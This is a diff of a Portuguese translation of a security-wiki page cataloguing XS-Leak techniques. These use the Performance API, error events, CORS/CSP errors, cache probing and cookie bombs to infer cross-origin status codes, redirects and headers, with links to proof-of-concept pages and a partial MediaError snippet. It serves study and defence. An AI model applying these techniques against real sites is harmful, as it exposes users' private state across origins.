+Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição dos tempos de execução calculando a diferença entre timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de temporização.
 
-Além das medições de tempo, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página for bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
+Além das medições de temporização, a Performance API pode ser aproveitada para insights relacionados à segurança. Por exemplo, a presença ou ausência de páginas no objeto `performance` no Chrome pode indicar a aplicação de `X-Frame-Options`. Especificamente, se uma página é bloqueada de ser renderizada em um frame devido a `X-Frame-Options`, ela não será registrada no objeto `performance`, fornecendo uma pista sutil sobre as políticas de framing da página.
 
-### Error Leak
+### Vazamento de Erro
 
-- **Inclusion Methods**: Frames, HTML Elements
-- **Detectable Difference**: Código de Status
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Uma requisição que resulta em erros não criará uma entrada de tempo de recurso.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
+- **Métodos de Inclusão**: Frames, Elementos HTML
+- **Diferença Detectável**: Código de Status
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Uma requisição que resulta em erros não criará uma entrada de temporização de recurso.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
 
 É possível **diferenciar entre códigos de status de resposta HTTP** porque requisições que levam a um **erro** não **criam uma entrada de desempenho**.
 
-### Style Reload Error
+### Erro de Recarregamento de Estilo
 
-- **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Devido a um bug do navegador, requisições que resultam em erros são carregadas duas vezes.
-- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
+- **Métodos de Inclusão**: Elementos HTML
+- **Diferença Detectável**: Código de Status
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Devido a um bug do navegador, requisições que resultam em erros são carregadas duas vezes.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
 
-Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na Performance API e pode, portanto, ser detectado.
+Na técnica anterior, também foram identificados dois casos onde bugs do navegador no GC levam a **recursos sendo carregados duas vezes quando falham ao carregar**. Isso resultará em múltiplas entradas na API de Desempenho e pode, portanto, ser detectado.
 
-### Request Merging Error
+### Erro de Mesclagem de Requisições
 
-- **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Requisições que resultam em um erro não podem ser mescladas.
-- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
+- **Métodos de Inclusão**: Elementos HTML
+- **Diferença Detectável**: Código de Status
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Requisições que resultam em um erro não podem ser mescladas.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
 A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
 
-### Empty Page Leak
+### Vazamento de Página Vazia
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Respostas vazias não criam entradas de tempo de recurso.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Respostas vazias não criam entradas de temporização de recurso.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
 
 Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
 
-### **XSS-Auditor Leak**
+### **Vazamento do XSS-Auditor**
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Usando o XSS Auditor em Security Assertions, atacantes podem detectar elementos específicos da página da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Usando o XSS Auditor em Aserções de Segurança, atacantes podem detectar elementos específicos de páginas da web observando alterações nas respostas quando cargas úteis elaboradas acionam o mecanismo de filtragem do auditor.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
 
-Em Security Assertions (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na Performance API, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
+Em Aserções de Segurança (SA), o XSS Auditor, originalmente destinado a prevenir ataques de Cross-Site Scripting (XSS), pode paradoxalmente ser explorado para vazar informações sensíveis. Embora esse recurso embutido tenha sido removido do Google Chrome (GC), ele ainda está presente no SA. Em 2013, Braun e Heiderich demonstraram que o XSS Auditor poderia inadvertidamente bloquear scripts legítimos, levando a falsos positivos. Com base nisso, pesquisadores desenvolveram técnicas para extrair informações e detectar conteúdo específico em páginas de origem cruzada, um conceito conhecido como XS-Leaks, inicialmente relatado por Terada e elaborado por Heyes em um post de blog. Embora essas técnicas fossem específicas para o XSS Auditor no GC, foi descoberto que no SA, páginas bloqueadas pelo XSS Auditor não geram entradas na API de Desempenho, revelando um método pelo qual informações sensíveis ainda podem ser vazadas.
 
-### X-Frame Leak
+### Vazamento de X-Frame
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
-- **Summary:** Recurso com cabeçalho X-Frame-Options não cria entrada de tempo de recurso.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Cabeçalho
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
+- **Resumo:** Recurso com cabeçalho X-Frame-Options não cria entrada de temporização de recurso.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
 
-Se uma página **não for permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
+Se uma página **não é permitida** a ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
 O mesmo acontece se você usar uma **tag embed**.
 
-### Download Detection
+### Detecção de Download
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Downloads não criam entradas de tempo de recurso na Performance API.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Cabeçalho
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Downloads não criam entradas de temporização de recurso na API de Desempenho.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
 
 Similar ao XS-Leak descrito, um **recurso que é baixado** devido ao cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
 
-### Redirect Start Leak
+### Vazamento de Início de Redirecionamento
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Redirecionar
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Entrada de tempo de recurso vaza o tempo de início de um redirecionamento.
-- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Redirecionamento
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Entrada de temporização de recurso vaza o tempo de início de um redirecionamento.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
 
-Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, em **SA** é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **Performance API** e verificando os dados de **tempo de redirecionamento**.
+Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram informações demais para requisições de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, no **SA** é possível detectar se o usuário foi **redirecionado** pela página alvo, consultando a **API de Desempenho** e verificando os dados de temporização de **redirectStart**.
 
-### Duration Redirect Leak
+### Vazamento de Duração de Redirecionamento
 
-- **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Redirecionar
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
-- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
+- **Métodos de Inclusão**: Fetch API
+- **Diferença Detectável**: Redirecionamento
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** A duração das entradas de temporização é negativa quando ocorre um redirecionamento.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
 
-No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinguida** de requisições que não resultam em um redirecionamento.
+No GC, a **duração** para requisições que resultam em um **redirecionamento** é **negativa** e pode, portanto, ser **distinta** de requisições que não resultam em um redirecionamento.
 
-### CORP Leak
+### Vazamento de CORP
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Cabeçalho
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
-- **Summary:** Recurso protegido com CORP não cria entradas de tempo de recurso.
-- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Cabeçalho
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
+- **Resumo:** Recurso protegido com CORP não cria entradas de temporização de recurso.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
 
 Em alguns casos, a entrada **nextHopProtocol** pode ser usada como uma técnica de vazamento. No GC, quando o cabeçalho **CORP** está definido, o nextHopProtocol ficará **vazio**. Note que o SA não criará uma entrada de desempenho para recursos habilitados para CORP.
 
 ### Service Worker
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Uso da API
-- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
-- **Summary:** Detectar se um service worker está registrado para uma origem específica.
-- **Code Example**:
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Uso da API
+- **Mais informações**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leak/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leak/)
+- **Resumo:** Detectar se um service worker está registrado para uma origem específica.
+- **Exemplo de Código**:
 
 Service workers são contextos de script acionados por eventos que rodam em uma origem. Eles rodam em segundo plano de uma página web e podem interceptar, modificar e **armazenar em cache recursos** para criar aplicações web offline.\
 Se um **recurso armazenado em cache** por um **service worker** for acessado via **iframe**, o recurso será **carregado do cache do service worker**.\
-Para detectar se o recurso foi **carregado do cache do service worker**, a **Performance API** pode ser usada.\
-Isso também poderia ser feito com um ataque de Tempo (verifique o artigo para mais informações).
+Para detectar se o recurso foi **carregado do cache do service worker**, a **API de Desempenho** pode ser usada.\
+Isso também poderia ser feito com um ataque de Temporização (verifique o artigo para mais informações).
 
 ### Cache
 
-- **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Tempo
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
-- **Summary:** É possível verificar se um recurso foi armazenado no cache.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
+- **Métodos de Inclusão**: Fetch API
+- **Diferença Detectável**: Temporização
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
+- **Resumo:** É possível verificar se um recurso foi armazenado no cache.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
 
-Usando a [Performance API](./#performance-api) é possível verificar se um recurso está em cache.
+Usando a [API de Desempenho](./#performance-api) é possível verificar se um recurso está em cache.
 
-### Network Duration
+### Duração da Rede
 
-- **Inclusion Methods**: Fetch API
-- **Detectable Difference**: Conteúdo da Página
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
-- **Summary:** É possível recuperar a duração da rede de uma requisição da API `performance`.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
+- **Métodos de Inclusão**: Fetch API
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
+- **Resumo:** É possível recuperar a duração da rede de uma requisição da API `performance`.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
 
-## Error Messages Technique
+## Técnica de Mensagens de Erro
 
-### Media Error
+### Erro de Mídia
 
-- **Inclusion Methods**: HTML Elements (Vídeo, Áudio)
-- **Detectable Difference**: Código de Status
-- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
-- **Summary:** No Firefox é possível vazar com precisão o código de status de uma requisição de origem cruzada.
-- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
+- **Métodos de Inclusão**: Elementos HTML (Vídeo, Áudio)
+- **Diferença Detectável**: Código de Status
+- **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
+- **Resumo:** No Firefox é possível vazar com precisão o código de status de uma requisição de origem cruzada.
+- **Exemplo de Código**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
 ```javascript
 // Code saved here in case it dissapear from the link
 // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
@@ -470,7 +470,7 @@ err.message +
 audioElement.onerror = errHandler
 }
 ```
-A propriedade message da interface `MediaError` identifica de forma única recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.
+A propriedade message da interface `MediaError` identifica de forma única os recursos que carregam com sucesso com uma string distinta. Um atacante pode explorar esse recurso observando o conteúdo da mensagem, deduzindo assim o status de resposta de um recurso de origem cruzada.
 
 ### Erro CORS
 
@@ -480,7 +480,7 @@ A propriedade message da interface `MediaError` identifica de forma única recur
 - **Resumo:** Em Aserções de Segurança (SA), mensagens de erro CORS expõem inadvertidamente a URL completa de solicitações redirecionadas.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
 
-Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
+Essa técnica permite que um atacante **extraia o destino de um redirecionamento de um site de origem cruzada** explorando como navegadores baseados em Webkit lidam com solicitações CORS. Especificamente, quando uma **solicitação habilitada para CORS** é enviada a um site de destino que emite um redirecionamento com base no estado do usuário e o navegador posteriormente nega a solicitação, a **URL completa do destino do redirecionamento** é divulgada na mensagem de erro. Essa vulnerabilidade não apenas revela o fato do redirecionamento, mas também expõe o ponto final do redirecionamento e quaisquer **parâmetros de consulta sensíveis** que ele possa conter.
 
 ### Erro SRI
 
@@ -497,10 +497,10 @@ Um atacante pode explorar **mensagens de erro verbosas** para deduzir o tamanho
 - **Métodos de Inclusão**: Pop-ups
 - **Diferença Detectável**: Código de Status
 - **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
-- **Resumo:** Permitindo apenas o site da vítima na CSP, se tentarmos redirecionar para um domínio diferente, a CSP acionará um erro detectável.
+- **Resumo:** Permitindo apenas o site da vítima no CSP, se tentarmos redirecionar para um domínio diferente, o CSP acionará um erro detectável.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
 
-Um XS-Leak pode usar a CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento também vaza. A ideia básica desse ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **A CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização alvo do redirecionamento**.\
+Um XS-Leak pode usar o CSP para detectar se um site de origem cruzada foi redirecionado para uma origem diferente. Esse vazamento pode detectar o redirecionamento, mas, adicionalmente, o domínio do alvo do redirecionamento também vaza. A ideia básica desse ataque é **permitir o domínio alvo no site do atacante**. Uma vez que uma solicitação é emitida para o domínio alvo, ele **redireciona** para um domínio de origem cruzada. **O CSP bloqueia** o acesso a ele e cria um **relatório de violação usado como técnica de vazamento**. Dependendo do navegador, **esse relatório pode vazar a localização alvo do redirecionamento**.\
 Navegadores modernos não indicarão a URL para a qual foi redirecionado, mas você ainda pode detectar que um redirecionamento de origem cruzada foi acionado.
 
 ### Cache
@@ -520,10 +520,10 @@ Se uma página carrega uma imagem apenas se o usuário estiver logado, você pod
 - **Métodos de Inclusão**: Frames
 - **Diferença Detectável**: Cabeçalho
 - **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
-- **Resumo:** As diretivas de cabeçalho CSP podem ser sondadas usando o atributo iframe CSP, revelando detalhes da política.
+- **Resumo:** As diretivas de cabeçalho CSP podem ser sondadas usando o atributo iframe do CSP, revelando detalhes da política.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
 
-Um recurso novo no Google Chrome (GC) permite que páginas da web **proponham uma Política de Segurança de Conteúdo (CSP)** definindo um atributo em um elemento iframe, com as diretivas da política transmitidas junto com a solicitação HTTP. Normalmente, o conteúdo incorporado deve **autorizar isso via um cabeçalho HTTP**, ou uma **página de erro é exibida**. No entanto, se o iframe já for governado por uma CSP e a nova política proposta não for mais restritiva, a página será carregada normalmente. Esse mecanismo abre um caminho para um atacante **detectar diretivas CSP específicas** de uma página de origem cruzada identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossas descobertas revelam uma **nova técnica de vazamento** capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.
+Um recurso novo no Google Chrome (GC) permite que páginas da web **proponham uma Política de Segurança de Conteúdo (CSP)** definindo um atributo em um elemento iframe, com as diretivas da política transmitidas junto com a solicitação HTTP. Normalmente, o conteúdo incorporado deve **autorizar isso via um cabeçalho HTTP**, ou uma **página de erro é exibida**. No entanto, se o iframe já estiver governado por um CSP e a nova política proposta não for mais restritiva, a página será carregada normalmente. Esse mecanismo abre um caminho para um atacante **detectar diretivas CSP específicas** de uma página de origem cruzada identificando a página de erro. Embora essa vulnerabilidade tenha sido marcada como corrigida, nossas descobertas revelam uma **nova técnica de vazamento** capaz de detectar a página de erro, sugerindo que o problema subjacente nunca foi totalmente resolvido.
 
 ### **CORP**
 
@@ -553,7 +553,7 @@ Verifique o link para mais informações sobre o ataque.
 - **Resumo**: Se o cabeçalho Origin for refletido no cabeçalho `Access-Control-Allow-Origin`, é possível verificar se um recurso já está no cache.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
 
-Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em **modo CORS**. Se um **erro** **não for** acionado, significa que foi **recuperado corretamente da web**, se um erro for **acionado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
+Caso o **cabeçalho Origin** esteja sendo **refletido** no cabeçalho `Access-Control-Allow-Origin`, um atacante pode abusar desse comportamento para tentar **buscar** o **recurso** em modo **CORS**. Se um **erro** **não** for disparado, significa que foi **recuperado corretamente da web**, se um erro for **disparado**, é porque foi **acessado do cache** (o erro aparece porque o cache salva uma resposta com um cabeçalho CORS permitindo o domínio original e não o domínio do atacante)**.**\
 Observe que se a origem não for refletida, mas um curinga for usado (`Access-Control-Allow-Origin: *`), isso não funcionará.
 
 ## Técnica de Atributos Legíveis
@@ -576,7 +576,7 @@ Submetendo uma solicitação usando a Fetch API com `redirect: "manual"` e outro
 - **Resumo:** Páginas protegidas pela Política de Abertura de Origem Cruzada (COOP) impedem o acesso de interações de origem cruzada.
 - **Exemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
 
-Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertura de Origem Cruzada (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicações web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários onde o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: é **indefinida** quando o COOP está ativo e **definida** em sua ausência.
+Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertura de Origem Cruzada (COOP) em uma resposta HTTP de origem cruzada. O COOP é utilizado por aplicações web para impedir que sites externos obtenham referências de janela arbitrárias. A visibilidade desse cabeçalho pode ser discernida ao tentar acessar a **referência `contentWindow`**. Em cenários onde o COOP é aplicado condicionalmente, a **propriedade `opener`** se torna um indicador revelador: ela é **indefinida** quando o COOP está ativo e **definida** em sua ausência.
 
 ### Comprimento Máximo da URL - Lado do Servidor
 
@@ -588,10 +588,10 @@ Um atacante é capaz de deduzir a presença do cabeçalho da Política de Abertu
 
 Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente **servidores** têm um **limite de comprimento de solicitação**. Se os **dados do usuário** forem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, isso acionará um **erro detectável via Eventos de Erro**.
 
-Se você puder de alguma forma definir cookies para um usuário, também pode realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) para que, com o **tamanho da resposta aumentada** da **resposta correta**, um **erro** seja acionado. Nesse caso, lembre-se de que, se você acionar essa solicitação de um mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar erros).\
